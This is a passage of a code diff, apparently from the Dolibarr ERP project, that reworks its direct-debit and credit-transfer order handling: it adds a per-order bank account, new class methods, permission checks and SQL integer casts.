      '; } - if (!empty($object->date_trans) && empty($object->date_credit) && $user->rights->prelevement->bons->credit && $action == 'setcredited') { + if (!empty($object->date_trans) && empty($object->date_credit) && (($user->rights->prelevement->bons->credit && $object->type != 'bank-transfer') || ($user->rights->paymentbybanktransfer->debit && $object->type == 'bank-transfer')) && $action == 'setcredited') { $btnLabel = ($object->type == 'bank-transfer') ? $langs->trans("ClassDebited") : $langs->trans("ClassCredited"); print ''; print ''; @@ -343,7 +383,7 @@ if ($id > 0 || $ref) { $sql .= ", ".MAIN_DB_PREFIX."societe as s"; $sql .= " WHERE pl.fk_prelevement_bons = ".((int) $id); $sql .= " AND pl.fk_prelevement_bons = pb.rowid"; - $sql .= " AND pb.entity = ".$conf->entity; + $sql .= " AND pb.entity = ".((int) $conf->entity); // No sharing of entity here $sql .= " AND pl.fk_soc = s.rowid"; if ($socid) { $sql .= " AND s.rowid = ".((int) $socid); @@ -375,7 +415,8 @@ if ($id > 0 || $ref) { $urladd .= '&limit='.urlencode($limit); } - print ''."\n"; + print ''."\n"; + print ''; print ''; print ''; if (!empty($page)) { @@ -395,9 +436,9 @@ if ($id > 0 || $ref) { print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table print ''; print ''; - print_liste_field_titre("Lines", $_SERVER["PHP_SELF"], "pl.rowid", '', $urladd); - print_liste_field_titre("ThirdParty", $_SERVER["PHP_SELF"], "s.nom", '', $urladd); - print_liste_field_titre("Amount", $_SERVER["PHP_SELF"], "pl.amount", "", $urladd, 'class="right"'); + print_liste_field_titre("Lines", $_SERVER["PHP_SELF"], "pl.rowid", '', $urladd, '', $sortfield, $sortorder); + print_liste_field_titre("ThirdParty", $_SERVER["PHP_SELF"], "s.nom", '', $urladd, '', $sortfield, $sortorder); + print_liste_field_titre("Amount", $_SERVER["PHP_SELF"], "pl.amount", "", $urladd, 'class="right"', $sortfield, $sortorder); print_liste_field_titre(''); print "\n"; diff --git a/htdocs/compta/prelevement/class/bonprelevement.class.php b/htdocs/compta/prelevement/class/bonprelevement.class.php index 344229dc0a8..3618817e19a 100644 --- a/htdocs/compta/prelevement/class/bonprelevement.class.php +++ b/htdocs/compta/prelevement/class/bonprelevement.class.php @@ -70,12 +70,11 @@ class BonPrelevement extends CommonObject public $emetteur_bic; public $emetteur_ics; - public $date_trans; public $user_trans; + public $user_credit; public $total; public $fetched; - public $statut; // 0-Wait, 1-Trans, 2-Done public $labelStatus = array(); public $factures = array(); @@ -83,12 +82,90 @@ class BonPrelevement extends CommonObject public $invoice_in_error = array(); public $thirdparty_in_error = array(); + const STATUS_DRAFT = 0; const STATUS_TRANSFERED = 1; const STATUS_CREDITED = 2; // STATUS_CREDITED and STATUS_DEBITED is same. Difference is in ->type const STATUS_DEBITED = 2; // STATUS_CREDITED and STATUS_DEBITED is same. Difference is in ->type + /** + * 'type' field format: + * 'integer', 'integer:ObjectClass:PathToClass[:AddCreateButtonOrNot[:Filter[:Sortfield]]]', + * 'select' (list of values are in 'options'), + * 'sellist:TableName:LabelFieldName[:KeyFieldName[:KeyFieldParent[:Filter[:Sortfield]]]]', + * 'chkbxlst:...', + * 'varchar(x)', + * 'text', 'text:none', 'html', + * 'double(24,8)', 'real', 'price', + * 'date', 'datetime', 'timestamp', 'duration', + * 'boolean', 'checkbox', 'radio', 'array', + * 'mail', 'phone', 'url', 'password', 'ip' + * Note: Filter must be a Dolibarr filter syntax string. Example: "(t.ref:like:'SO-%') or (t.date_creation:<:'20160101') or (t.status:!=:0) or (t.nature:is:NULL)" + * 'label' the translation key. + * 'picto' is code of a picto to show before value in forms + * 'enabled' is a condition when the field must be managed (Example: 1 or '$conf->global->MY_SETUP_PARAM' or 'isModEnabled("multicurrency")' ...) + * 'position' is the sort order of field. + * 'notnull' is set to 1 if not null in database. Set to -1 if we must set data to null if empty ('' or 0). + * 'visible' says if field is visible in list (Examples: 0=Not visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create). 5=Visible on list and view only (not create/not update). Using a negative value means field is not shown by default on list but can be selected for viewing) + * 'noteditable' says if field is not editable (1 or 0) + * 'alwayseditable' says if field can be modified also when status is not draft ('1' or '0') + * 'default' is a default value for creation (can still be overwrote by the Setup of Default Values if field is editable in creation form). Note: If default is set to '(PROV)' and field is 'ref', the default value will be set to '(PROVid)' where id is rowid when a new record is created. + * 'index' if we want an index in database. + * 'foreignkey'=>'tablename.field' if the field is a foreign key (it is recommanded to name the field fk_...). + * 'searchall' is 1 if we want to search in this field when making a search from the quick search button. + * 'isameasure' must be set to 1 or 2 if field can be used for measure. Field type must be summable like integer or double(24,8). Use 1 in most cases, or 2 if you don't want to see the column total into list (for example for percentage) + * 'css' and 'cssview' and 'csslist' is the CSS style to use on field. 'css' is used in creation and update. 'cssview' is used in view mode. 'csslist' is used for columns in lists. For example: 'css'=>'minwidth300 maxwidth500 widthcentpercentminusx', 'cssview'=>'wordbreak', 'csslist'=>'tdoverflowmax200' + * 'help' is a 'TranslationString' to use to show a tooltip on field. You can also use 'TranslationString:keyfortooltiponlick' for a tooltip on click. + * 'showoncombobox' if value of the field must be visible into the label of the combobox that list record + * 'disabled' is 1 if we want to have the field locked by a 'disabled' attribute. In most cases, this is never set into the definition of $fields into class, but is set dynamically by some part of code. + * 'arrayofkeyval' to set a list of values if type is a list of predefined values. For example: array("0"=>"Draft","1"=>"Active","-1"=>"Cancel"). Note that type can be 'integer' or 'varchar' + * 'autofocusoncreate' to have field having the focus on a create form. Only 1 field should have this property set to 1. + * 'comment' is not used. You can store here any text of your choice. It is not used by application. + * 'validate' is 1 if need to validate with $this->validateField() + * 'copytoclipboard' is 1 or 2 to allow to add a picto to copy value into clipboard (1=picto after label, 2=picto after value) + * + * Note: To have value dynamic, you can set value to 0 in definition and edit the value on the fly into the constructor. + */ + + // BEGIN MODULEBUILDER PROPERTIES + /** + * @var array Array with all fields and their property. Do not use it as a static var. It may be modified by constructor. + */ + public $fields=array( + 'rowid' => array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>'1', 'position'=>10, 'notnull'=>1, 'visible'=>0,), + 'ref' => array('type'=>'varchar(12)', 'label'=>'Ref', 'enabled'=>'1', 'position'=>15, 'notnull'=>0, 'visible'=>-1, 'csslist'=>'tdoverflowmax150', 'showoncombobox'=>'1',), + 'datec' => array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>'1', 'position'=>25, 'notnull'=>0, 'visible'=>-1,), + 'amount' => array('type'=>'double(24,8)', 'label'=>'Amount', 'enabled'=>'1', 'position'=>30, 'notnull'=>0, 'visible'=>-1,), + 'statut' => array('type'=>'smallint(6)', 'label'=>'Statut', 'enabled'=>'1', 'position'=>500, 'notnull'=>0, 'visible'=>-1, 'arrayofkeyval'=>array(0=>'Wait', 1=>'Transfered', 2=>'Credited')), + 'credite' => array('type'=>'smallint(6)', 'label'=>'Credite', 'enabled'=>'1', 'position'=>40, 'notnull'=>0, 'visible'=>-1,), + 'note' => array('type'=>'text', 'label'=>'Note', 'enabled'=>'1', 'position'=>45, 'notnull'=>0, 'visible'=>-1,), + 'date_trans' => array('type'=>'datetime', 'label'=>'Datetrans', 'enabled'=>'1', 'position'=>50, 'notnull'=>0, 'visible'=>-1,), + 'method_trans' => array('type'=>'smallint(6)', 'label'=>'Methodtrans', 'enabled'=>'1', 'position'=>55, 'notnull'=>0, 'visible'=>-1,), + 'fk_user_trans' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'Fkusertrans', 'enabled'=>'1', 'position'=>60, 'notnull'=>0, 'visible'=>-1, 'css'=>'maxwidth500 widthcentpercentminusxx', 'csslist'=>'tdoverflowmax150',), + 'date_credit' => array('type'=>'datetime', 'label'=>'Datecredit', 'enabled'=>'1', 'position'=>65, 'notnull'=>0, 'visible'=>-1,), + 'fk_user_credit' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'Fkusercredit', 'enabled'=>'1', 'position'=>70, 'notnull'=>0, 'visible'=>-1, 'css'=>'maxwidth500 widthcentpercentminusxx', 'csslist'=>'tdoverflowmax150',), + 'type' => array('type'=>'varchar(16)', 'label'=>'Type', 'enabled'=>'1', 'position'=>75, 'notnull'=>0, 'visible'=>-1,), + 'fk_bank_account' => array('type'=>'integer', 'label'=>'Fkbankaccount', 'enabled'=>'1', 'position'=>80, 'notnull'=>0, 'visible'=>-1, 'css'=>'maxwidth500 widthcentpercentminusxx',), + ); + public $rowid; + public $ref; + public $datec; + public $amount; + public $statut; + public $credite; + public $note; + public $date_trans; + public $method_trans; + public $fk_user_trans; + public $date_credit; + public $fk_user_credit; + public $type; + public $fk_bank_account; + // END MODULEBUILDER PROPERTIES + + + /** * Constructor * @@ -118,9 +195,7 @@ class BonPrelevement extends CommonObject $this->factures = array(); - $this->methodes_trans = array(); - - $this->methodes_trans[0] = "Internet"; + $this->methodes_trans = array(0 => 'Internet', 2 => 'Email', 3 => 'Api'); $this->fetched = 0; } @@ -282,8 +357,6 @@ class BonPrelevement extends CommonObject */ public function fetch($rowid, $ref = '') { - global $conf; - $sql = "SELECT p.rowid, p.ref, p.amount, p.note"; $sql .= ", p.datec as dc"; $sql .= ", p.date_trans as date_trans"; @@ -291,6 +364,7 @@ class BonPrelevement extends CommonObject $sql .= ", p.date_credit as date_credit"; $sql .= ", p.fk_user_credit"; $sql .= ", p.type"; + $sql .= ", p.fk_bank_account"; $sql .= ", p.statut as status"; $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_bons as p"; $sql .= " WHERE p.entity IN (".getEntity('invoice').")"; @@ -320,6 +394,7 @@ class BonPrelevement extends CommonObject $this->user_credit = $obj->fk_user_credit; $this->type = $obj->type; + $this->fk_bank_account = $obj->fk_bank_account; $this->status = $obj->status; $this->statut = $obj->status; // For backward compatibility @@ -336,9 +411,22 @@ class BonPrelevement extends CommonObject } } + /** + * Update object into database + * + * @param User $user User that modifies + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int <0 if KO, >0 if OK + */ + public function update(User $user, $notrigger = false) + { + return $this->updateCommon($user, $notrigger); + } + // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** * Set direct debit or credit transfer order to "paid" status. + * Then create the payment for each invoice of the prelemevement_bon. * * @param User $user Id of user * @param int $date date of action @@ -361,7 +449,7 @@ class BonPrelevement extends CommonObject $this->db->begin(); - $sql = " UPDATE ".MAIN_DB_PREFIX."prelevement_bons "; + $sql = " UPDATE ".MAIN_DB_PREFIX."prelevement_bons"; $sql .= " SET fk_user_credit = ".$user->id; $sql .= ", statut = ".self::STATUS_CREDITED; $sql .= ", date_credit = '".$this->db->idate($date)."'"; @@ -375,8 +463,12 @@ class BonPrelevement extends CommonObject $subject = $langs->trans("InfoCreditSubject", $this->ref); $message = $langs->trans("InfoCreditMessage", $this->ref, dol_print_date($date, 'dayhour')); - //Add payment of withdrawal into bank - $bankaccount = ($this->type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT); + // Add payment of withdrawal into bank + $fk_bank_account = $this->fk_bank_account; + if (empty($fk_bank_account)) { + $fk_bank_account = ($this->type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT); + } + $facs = array(); $amounts = array(); $amountsperthirdparty = array(); @@ -447,7 +539,7 @@ class BonPrelevement extends CommonObject $modeforaddpayment = 'payment'; } - $result = $paiement->addPaymentToBank($user, $modeforaddpayment, '(WithdrawalPayment)', $bankaccount, '', ''); + $result = $paiement->addPaymentToBank($user, $modeforaddpayment, '(WithdrawalPayment)', $fk_bank_account, '', ''); if ($result < 0) { $error++; $this->error = $paiement->error; @@ -499,7 +591,7 @@ class BonPrelevement extends CommonObject * * @param User $user id of user * @param int $date date of action - * @param string $method method of transmision to bank + * @param string $method method of transmision to bank (0=Internet, 1=Api...) * @return int >0 if OK, <0 if KO */ public function set_infotrans($user, $date, $method) @@ -727,28 +819,35 @@ class BonPrelevement extends CommonObject // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** - * Create a direct debit order or a credit transfer order + * Create a BAN payment order: + * - Select waiting requests from prelevement_demande (or use $did if provided) + * - Check BAN values + * - Then create a direct debit order or a credit transfer order + * - Link the order with the prelevement_demande lines * TODO delete params banque and agence when not necessary * - * @param int $banque dolibarr mysoc bank - * @param int $agence dolibarr mysoc bank office (guichet) - * @param string $mode real=do action, simu=test only - * @param string $format FRST, RCUR or ALL - * @param string $executiondate Date to execute the transfer - * @param int $notrigger Disable triggers - * @param string $type 'direct-debit' or 'bank-transfer' - * @return int <0 if KO, No of invoice included into file if OK + * @param int $banque dolibarr mysoc bank + * @param int $agence dolibarr mysoc bank office (guichet) + * @param string $mode real=do action, simu=test only + * @param string $format FRST, RCUR or ALL + * @param string $executiondate Date to execute the transfer + * @param int $notrigger Disable triggers + * @param string $type 'direct-debit' or 'bank-transfer' + * @param int $did ID of an existing payment request. If $did is defined, no entry + * @param int $fk_bank_account Bank account ID the receipt is generated for. Will use the ID into the setup of module Direct Debit or Credit Transfer if 0. + * @return int <0 if KO, No of invoice included into file if OK */ - public function create($banque = 0, $agence = 0, $mode = 'real', $format = 'ALL', $executiondate = '', $notrigger = 0, $type = 'direct-debit') + public function create($banque = 0, $agence = 0, $mode = 'real', $format = 'ALL', $executiondate = '', $notrigger = 0, $type = 'direct-debit', $did = 0, $fk_bank_account = 0) { // phpcs:enable global $conf, $langs, $user; - dol_syslog(__METHOD__."::Bank=".$banque." Office=".$agence." mode=".$mode." format=".$format, LOG_DEBUG); + dol_syslog(__METHOD__." Bank=".$banque." Office=".$agence." mode=".$mode." format=".$format, LOG_DEBUG); require_once DOL_DOCUMENT_ROOT."/compta/facture/class/facture.class.php"; require_once DOL_DOCUMENT_ROOT."/societe/class/societe.class.php"; + // Check params if ($type != 'bank-transfer') { if (empty($format)) { $this->error = 'ErrorBadParametersForDirectDebitFileCreate'; @@ -756,6 +855,11 @@ class BonPrelevement extends CommonObject } } + // Clean params + if (empty($fk_bank_account)) { + $fk_bank_account = ($type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT); + } + $error = 0; $datetimeprev = dol_now('gmt'); @@ -801,8 +905,10 @@ class BonPrelevement extends CommonObject $sql .= " AND pfd.traite = 0"; $sql .= " AND f.total_ttc > 0"; $sql .= " AND pfd.ext_payment_id IS NULL"; - - dol_syslog(__METHOD__."::Read invoices,", LOG_DEBUG); + if ($did > 0) { + $sql .= " AND pfd.rowid = ".((int) $did); + } + dol_syslog(__METHOD__." Read invoices,", LOG_DEBUG); $resql = $this->db->query($sql); if ($resql) { @@ -814,17 +920,17 @@ class BonPrelevement extends CommonObject $factures[$i] = $row; // All fields if ($row[7] == 0) { $error++; - dol_syslog(__METHOD__."::Read invoices error Found a null invoice", LOG_ERR); + dol_syslog(__METHOD__." Read invoices error Found a null invoice", LOG_ERR); $this->invoice_in_error[$row[0]] = "Error for invoice id ".$row[0].", found a null amount"; break; } $i++; } $this->db->free($resql); - dol_syslog(__METHOD__."::Read invoices, ".$i." invoices to withdraw", LOG_DEBUG); + dol_syslog(__METHOD__." Read invoices, ".$i." invoices to withdraw", LOG_DEBUG); } else { $error++; - dol_syslog(__METHOD__."::Read invoices error ".$this->db->error(), LOG_ERR); + dol_syslog(__METHOD__." Read invoices error ".$this->db->error(), LOG_ERR); } } @@ -834,7 +940,7 @@ class BonPrelevement extends CommonObject // Check BAN $i = 0; - dol_syslog(__METHOD__."::Check BAN", LOG_DEBUG); + dol_syslog(__METHOD__." Check BAN", LOG_DEBUG); if (count($factures) > 0) { foreach ($factures as $key => $fac) { @@ -865,19 +971,19 @@ class BonPrelevement extends CommonObject $i++; //dol_syslog(__METHOD__."::RIB is ok", LOG_DEBUG); } else { - dol_syslog(__METHOD__."::Check BAN Error on default bank number IBAN/BIC for thirdparty reported by verif() ".$tmpinvoice->socid." ".$soc->name, LOG_WARNING); + dol_syslog(__METHOD__." Check BAN Error on default bank number IBAN/BIC for thirdparty reported by verif() ".$tmpinvoice->socid." ".$soc->name, LOG_WARNING); $this->invoice_in_error[$fac[0]] = "Error on default bank number IBAN/BIC for invoice ".$tmpinvoice->getNomUrl(0)." for thirdparty ".$soc->getNomUrl(0); $this->thirdparty_in_error[$soc->id] = "Error on default bank number IBAN/BIC for invoice ".$tmpinvoice->getNomUrl(0)." for thirdparty ".$soc->getNomUrl(0); } } else { - dol_syslog(__METHOD__."::Check BAN Failed to read company", LOG_WARNING); + dol_syslog(__METHOD__." Check BAN Failed to read company", LOG_WARNING); } } else { - dol_syslog(__METHOD__."::Check BAN Failed to read invoice", LOG_WARNING); + dol_syslog(__METHOD__." Check BAN Failed to read invoice", LOG_WARNING); } } } else { - dol_syslog(__METHOD__."::Check BAN No invoice to process", LOG_WARNING); + dol_syslog(__METHOD__." Check BAN No invoice to process", LOG_WARNING); } } @@ -921,13 +1027,14 @@ class BonPrelevement extends CommonObject if (!$error) { $ref = substr($year, -2).$month; + // Get next free nuber for the ref of bon $sql = "SELECT substring(ref from char_length(ref) - 1)"; // To extract "YYMMXX" from "TYYMMXX" $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_bons"; $sql .= " WHERE ref LIKE '_".$this->db->escape($ref)."%'"; $sql .= " AND entity = ".((int) $conf->entity); $sql .= " ORDER BY ref DESC LIMIT 1"; - dol_syslog(get_class($this)."::create", LOG_DEBUG); + dol_syslog(get_class($this)." get next free number", LOG_DEBUG); $resql = $this->db->query($sql); if ($resql) { @@ -951,14 +1058,15 @@ class BonPrelevement extends CommonObject $this->filename = $dir.'/'.$ref.'.xml'; - // Create withdraw receipt in database + // Create withdraw order in database $sql = "INSERT INTO ".MAIN_DB_PREFIX."prelevement_bons ("; - $sql .= "ref, entity, datec, type"; + $sql .= "ref, entity, datec, type, fk_bank_account"; $sql .= ") VALUES ("; $sql .= "'".$this->db->escape($ref)."'"; $sql .= ", ".((int) $conf->entity); $sql .= ", '".$this->db->idate($now)."'"; $sql .= ", '".($type == 'bank-transfer' ? 'bank-transfer' : 'debit-order')."'"; + $sql .= ", ".((int) $fk_bank_account); $sql .= ")"; $resql = $this->db->query($sql); @@ -968,11 +1076,11 @@ class BonPrelevement extends CommonObject $this->ref = $ref; } else { $error++; - dol_syslog(__METHOD__."::Create withdraw receipt ".$this->db->lasterror(), LOG_ERR); + dol_syslog(__METHOD__." Create withdraw receipt ".$this->db->lasterror(), LOG_ERR); } } else { $error++; - dol_syslog(__METHOD__."::Get last withdraw receipt ".$this->db->lasterror(), LOG_ERR); + dol_syslog(__METHOD__." Get last withdraw receipt ".$this->db->lasterror(), LOG_ERR); } } @@ -983,9 +1091,7 @@ class BonPrelevement extends CommonObject $fact = new FactureFournisseur($this->db); } - /* - * Create withdrawal receipt in database - */ + // Add lines for the bon if (count($factures_prev) > 0) { foreach ($factures_prev as $fac) { // Add a link in database for each invoice // Fetch invoice @@ -996,7 +1102,7 @@ class BonPrelevement extends CommonObject } /* - * Add standing order. This add record into llx_prelevement_lignes + * Add standing order. This add record into llx_prelevement_lignes and llx_prelevement * * $fac[0] : invoice_id * $fac[1] : ??? @@ -1024,7 +1130,7 @@ class BonPrelevement extends CommonObject if (!$resql) { $error++; $this->errors[] = $this->db->lasterror(); - dol_syslog(__METHOD__."::Update Error=".$this->db->lasterror(), LOG_ERR); + dol_syslog(__METHOD__." Update Error=".$this->db->lasterror(), LOG_ERR); } } } @@ -1035,18 +1141,14 @@ class BonPrelevement extends CommonObject * Create file of type='direct-debit' for direct debit order or type='bank-transfer' for credit transfer into a XML file */ - dol_syslog(__METHOD__."::Init direct debit or credit transfer file for ".count($factures_prev)." invoices", LOG_DEBUG); + dol_syslog(__METHOD__." Init direct debit or credit transfer file for ".count($factures_prev)." invoices", LOG_DEBUG); if (count($factures_prev) > 0) { $this->date_echeance = $datetimeprev; $this->reference_remise = $ref; - $id = $conf->global->PRELEVEMENT_ID_BANKACCOUNT; - if ($type == 'bank-transfer') { - $id = $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT; - } $account = new Account($this->db); - if ($account->fetch($id) > 0) { + if ($account->fetch($fk_bank_account) > 0) { $this->emetteur_code_banque = $account->code_banque; $this->emetteur_code_guichet = $account->code_guichet; $this->emetteur_numero_compte = $account->number; @@ -1072,7 +1174,7 @@ class BonPrelevement extends CommonObject $error++; } } - dol_syslog(__METHOD__."::End withdraw receipt, file ".$this->filename, LOG_DEBUG); + dol_syslog(__METHOD__." Bank order file has been generated under filename ".$this->filename, LOG_DEBUG); } //var_dump($this->total);exit; @@ -1088,7 +1190,7 @@ class BonPrelevement extends CommonObject $resql = $this->db->query($sql); if (!$resql) { $error++; - dol_syslog(__METHOD__."::Error update total: ".$this->db->error(), LOG_ERR); + dol_syslog(__METHOD__." Error update total: ".$this->db->error(), LOG_ERR); } } @@ -1209,19 +1311,25 @@ class BonPrelevement extends CommonObject $result = ''; $labeltoshow = 'PaymentByDirectDebit'; - if ($this->type == 'bank-transfer') { + if (!empty($this->type) && $this->type == 'bank-transfer') { $labeltoshow = 'PaymentByBankTransfer'; } - $label = ''.$langs->trans($labeltoshow).''; + $label = img_picto('', $this->picto).' '.$langs->trans($labeltoshow).' '.$this->getLibStatut(5); $label .= '
      '; $label .= ''.$langs->trans('Ref').': '.$this->ref; - if (isset($this->statut)) { - $label .= '
      '.$langs->trans("Status").": ".$this->getLibStatut(5); + if (isset($this->amount)) { + $label .= '
      '.$langs->trans("Amount").": ".price($this->amount); } + if (isset($this->date_trans)) { + $label .= '
      '.$langs->trans("TransData").": ".dol_print_date($this->date_trans, 'dayhour', 'tzuserrel'); + } + /*if (isset($this->date_credit)) { + $label .= '
      '.$langs->trans("TransData").": ".dol_print_date($this->date_credit, 'dayhour', 'tzuserrel'); + }*/ $url = DOL_URL_ROOT.'/compta/prelevement/card.php?id='.$this->id; - if ($this->type == 'bank-transfer') { + if (!empty($this->type) && $this->type == 'bank-transfer') { $url = DOL_URL_ROOT.'/compta/prelevement/card.php?id='.$this->id; } @@ -1365,16 +1473,22 @@ class BonPrelevement extends CommonObject * File is generated with name this->filename * * @param string $format FRST, RCUR or ALL - * @param string $executiondate Date to execute transfer + * @param int $executiondate Timestamp date to execute transfer * @param string $type 'direct-debit' or 'bank-transfer' + * @param int $fk_bank_account Bank account ID the receipt is generated for. Will use the ID into the setup of module Direct Debit or Credit Transfer if 0. * @return int >=0 if OK, <0 if KO */ - public function generate($format = 'ALL', $executiondate = '', $type = 'direct-debit') + public function generate($format = 'ALL', $executiondate = 0, $type = 'direct-debit', $fk_bank_account = 0) { global $conf, $langs, $mysoc; //TODO: Optimize code to read lines in a single function + // Clean params + if (empty($fk_bank_account)) { + $fk_bank_account = ($type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT); + } + $result = 0; dol_syslog(get_class($this)."::generate build file=".$this->filename." type=".$type); @@ -1469,7 +1583,7 @@ class BonPrelevement extends CommonObject // Define $fileEmetteurSection. Start of bloc PmtInf. Will contains all $nbtotalDrctDbtTxInf if ($result != -2) { - $fileEmetteurSection .= $this->EnregEmetteurSEPA($conf, $date_actu, $nbtotalDrctDbtTxInf, $this->total, $CrLf, $format, $type); + $fileEmetteurSection .= $this->EnregEmetteurSEPA($conf, $date_actu, $nbtotalDrctDbtTxInf, $this->total, $CrLf, $format, $type, $fk_bank_account); } /** @@ -1690,9 +1804,7 @@ class BonPrelevement extends CommonObject } fclose($this->file); - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($this->filename, octdec($conf->global->MAIN_UMASK)); - } + dolChmod($this->filename); return $result; } @@ -1709,8 +1821,11 @@ class BonPrelevement extends CommonObject public static function buildRumNumber($row_code_client, $row_datec, $row_drum) { global $langs; + $pre = substr(dol_string_nospecial(dol_string_unaccent($langs->transnoentitiesnoconv('RUM'))), 0, 3); // Must always be on 3 char ('RUM' or 'UMR'. This is a protection against bad translation) - return $pre.($row_code_client ? '-'.$row_code_client : '').'-'.$row_drum.'-'.date('U', $row_datec); + + // 3 char + '-' + 12 + '-' + id + '-' + code Must be lower than 32. + return $pre.'-'.dol_print_date($row_datec, 'dayhourlogsmall').'-'.dol_trunc($row_drum.($row_code_client ? '-'.$row_code_client : ''), 13, 'right', 'UTF-8', 1); } @@ -1856,7 +1971,7 @@ class BonPrelevement extends CommonObject $XML_DEBITOR .= ' '.$CrLf; $XML_DEBITOR .= ' '.$row_country_code.''.$CrLf; $addressline1 = strtr($row_address, array(CHR(13) => ", ", CHR(10) => "")); - $addressline2 = strtr($row_zip.(($row_zip && $row_town) ? ' ' : ''.$row_town), array(CHR(13) => ", ", CHR(10) => "")); + $addressline2 = strtr($row_zip.(($row_zip && $row_town) ? ' ' : (string) $row_town), array(CHR(13) => ", ", CHR(10) => "")); if (trim($addressline1)) { $XML_DEBITOR .= ' '.dolEscapeXML(dol_trunc(dol_string_nospecial(dol_string_unaccent($addressline1), ' '), 70, 'right', 'UTF-8', 1)).''.$CrLf; } @@ -1925,7 +2040,7 @@ class BonPrelevement extends CommonObject $XML_CREDITOR .= ' '.$CrLf; $XML_CREDITOR .= ' '.$row_country_code.''.$CrLf; $addressline1 = strtr($row_address, array(CHR(13) => ", ", CHR(10) => "")); - $addressline2 = strtr($row_zip.(($row_zip && $row_town) ? ' ' : ''.$row_town), array(CHR(13) => ", ", CHR(10) => "")); + $addressline2 = strtr($row_zip.(($row_zip && $row_town) ? ' ' : (string) $row_town), array(CHR(13) => ", ", CHR(10) => "")); if (trim($addressline1)) { $XML_CREDITOR .= ' '.dolEscapeXML(dol_trunc(dol_string_nospecial(dol_string_unaccent($addressline1), ' '), 70, 'right', 'UTF-8', 1)).''.$CrLf; } @@ -2023,31 +2138,36 @@ class BonPrelevement extends CommonObject * Write sender of request (me). * Note: The tag PmtInf is opened here but closed into caller * - * @param Conf $configuration conf - * @param int $ladate Date - * @param int $nombre 0 or 1 - * @param float $total Total - * @param string $CrLf End of line character - * @param string $format FRST or RCUR or ALL - * @param string $type 'direct-debit' or 'bank-transfer' - * @return string String with SEPA Sender + * @param Conf $configuration conf + * @param int $ladate Date + * @param int $nombre 0 or 1 + * @param float $total Total + * @param string $CrLf End of line character + * @param string $format FRST or RCUR or ALL + * @param string $type 'direct-debit' or 'bank-transfer' + * @param int $fk_bank_account Bank account ID the receipt is generated for. Will use the ID into the setup of module Direct Debit or Credit Transfer if 0. + * @return string String with SEPA Sender * @see EnregEmetteur() */ - public function EnregEmetteurSEPA($configuration, $ladate, $nombre, $total, $CrLf = '\n', $format = 'FRST', $type = 'direct-debit') + public function EnregEmetteurSEPA($configuration, $ladate, $nombre, $total, $CrLf = '\n', $format = 'FRST', $type = 'direct-debit', $fk_bank_account = 0) { // phpcs:enable // SEPA INITIALISATION global $conf; + // Clean parameters $dateTime_YMD = dol_print_date($ladate, '%Y%m%d'); $dateTime_ETAD = dol_print_date($ladate, '%Y-%m-%d'); $dateTime_YMDHMS = dol_print_date($ladate, '%Y-%m-%dT%H:%M:%S'); + // Clean params + if (empty($fk_bank_account)) { + $fk_bank_account = ($type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT); + } + // Get data of bank account - //$id = $configuration->global->PRELEVEMENT_ID_BANKACCOUNT; - $id = ($type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT); $account = new Account($this->db); - if ($account->fetch($id) > 0) { + if ($account->fetch($fk_bank_account) > 0) { $this->emetteur_code_banque = $account->code_banque; $this->emetteur_code_guichet = $account->code_guichet; $this->emetteur_numero_compte = $account->number; @@ -2063,8 +2183,7 @@ class BonPrelevement extends CommonObject // Get pending payments $sql = "SELECT rowid, ref"; - $sql .= " FROM"; - $sql .= " ".MAIN_DB_PREFIX."prelevement_bons as pb"; + $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_bons as pb"; $sql .= " WHERE pb.rowid = ".((int) $this->id); $resql = $this->db->query($sql); @@ -2276,10 +2395,10 @@ class BonPrelevement extends CommonObject } /** - * Return status label of object + * Return status label of object * - * @param int $mode 0=Label, 1=Picto + label, 2=Picto, 3=Label + Picto - * @return string Label + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label */ public function getLibStatut($mode = 0) { @@ -2397,4 +2516,41 @@ class BonPrelevement extends CommonObject */ return 0; } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + + if (property_exists($this, 'date_echeance')) { + $return .= '
      '.$langs->trans("Date").' : '.dol_print_date($this->db->jdate($this->date_echeance), 'day').''; + } + if (property_exists($this, 'total')) { + $return .= '
